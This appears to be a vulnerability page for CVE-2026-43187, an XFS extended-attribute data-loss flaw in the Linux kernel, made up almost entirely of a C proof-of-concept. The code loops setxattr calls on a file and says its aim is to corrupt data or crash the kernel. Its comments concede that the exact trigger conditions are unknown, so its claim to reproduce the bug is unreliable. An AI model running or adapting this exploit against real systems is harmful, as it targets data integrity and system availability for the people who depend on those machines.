CVE-2026-43187 Linux内核XFS属性处理数据丢失漏洞

#include <stdio.h> #include <stdlib.h> #include <sys/xattr.h> #include <unistd.h> #include <string.h> /* * PoC for CVE-2026-43187 * This script attempts to trigger the XFS freemap bug by repeatedly * setting extended attributes on a file. The goal is to cause the * freemap logic to fail and potentially corrupt data or trigger a crash. */ #define FILE_PATH "test_xfs_poc.txt" #define ATTR_NAME "user.poc_attr" #define ATTR_VALUE "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" int main() { FILE *fp = fopen(FILE_PATH, "w"); if (!fp) { perror("Failed to create file"); return 1; } fclose(fp); printf("[+] Starting PoC for CVE-2026-43187\n"); printf("[+] Target file: %s\n", FILE_PATH); // Loop to setxattr repeatedly to trigger freemap manipulation for (int i = 0; i < 10000; i++) { // Try to set an attribute. In a real scenario, specific sizes // and patterns might be needed to hit the exact underflow condition. int ret = setxattr(FILE_PATH, ATTR_NAME, ATTR_VALUE, strlen(ATTR_VALUE), 0); if (ret != 0) { perror("setxattr failed"); // Depending on kernel state, this might fail or succeed } if (i % 1000 == 0) { printf("[+] Iteration %d completed...\n", i); } } printf("[+] PoC execution finished. Check dmesg for crashes or data corruption.\n"); unlink(FILE_PATH); return 0; }